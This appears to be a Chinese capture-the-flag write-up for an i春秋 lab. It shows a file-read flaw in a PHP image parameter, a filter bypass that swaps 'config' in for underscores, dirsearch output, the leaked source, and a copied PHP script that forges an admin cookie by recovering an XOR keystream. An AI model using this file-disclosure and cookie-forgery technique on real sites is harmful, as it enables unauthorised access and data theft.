i春秋平台上有环境
打开之后是一张图片,查看网页源码,发现图片的src后面跟了一大堆base64,这种格式在Data URI scheme有规定。
关于Data URI scheme,可参考这篇文章
图片的base64不用拿出去解码,因为是图片的二进制表示,所以解码也没有意义。
既然请求可以获取图片,这有点像ssrf,那么能不能请求一些敏感的文件呢?
首先请求index.php,?jpg=index.php,发现是有数据的,base64解码得到如下代码,注释如下
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];//获取请求参数
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
//除了字母数字.,其他的均替换为空
$file = str_replace("config","_", $file);
//config替换为_
$txt = base64_encode(file_get_contents($file));
//txt为$file经过base64编码后的内容
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
然后尝试用dirsearch扫
[09:10:31] 200 - 6B - /.idea/.name
[09:10:31] 200 - 159B - /.idea/encodings.xml
[09:10:31] 200 - 551B - /.idea/misc.xml
[09:10:31] 200 - 264B - /.idea/modules.xml
[09:10:31] 200 - 14KB - /.idea/workspace.xml
[09:10:32] 403 - 341B - /.php
[09:11:21] 200 - 0B - /config.php
[09:11:27] 200 - 60B - /index.php
[09:11:27] 200 - 60B - /index.php/login/
workspace.xml
文件里面有敏感信息,定位fl3g_ichuqiu.php
文件。但是直接通过url访问返回╮(╯▽╰)╭。既然不能直接访问,刚好上面给了一个接口,我们通过?jpg来访问,但是下划线会被过滤,我们用config来代替下划线,请求?jpg=fl3gconfigichuqiu.php
。同样还是查看源码base64解码,如下
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
之前一直很纠结这个$key怎么求出来,因为 key的值拼接了一个random值,实际上只需要得到经过处理后的key的值(拼接+md5)
下面的代码也是从别人那copy过来的
<?php
error_reporting(E_ALL || ~E_NOTICE);
$text = 'guest';
$cookie_guest = 'bzBhbkdIVxtG';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$cookie_guest = substr($cookie_guest,4);
for ($i = 0; $i < strlen($text); $i++) {
$text[$i] = chr(ord($text[$i])+10);
}
for ($i = 0; $i < strlen($text); $i++) {
$key .= ($text[$i] ^ $cookie_guest[$i]);
}
$text2 = 'system';
for ($i = 0; $i < strlen($text2); $i++) {
$text2[$i] = chr(ord($text2[$i])+10);
}
$t = '0123456789abcdef';
for ($j = 0; $j < strlen($t); $j++) {
$key_temp = $key.$t[$j];
$result = '';
for ($i = 0; $i < strlen($text2); $i++) {
$result .= ($key_temp[$i] ^ $text2[$i]);
}
$result = base64_encode($rnd.$result);
echo $result."\n";
}
?>
得到经过base64编码后的字符串,放入bp中爆破即可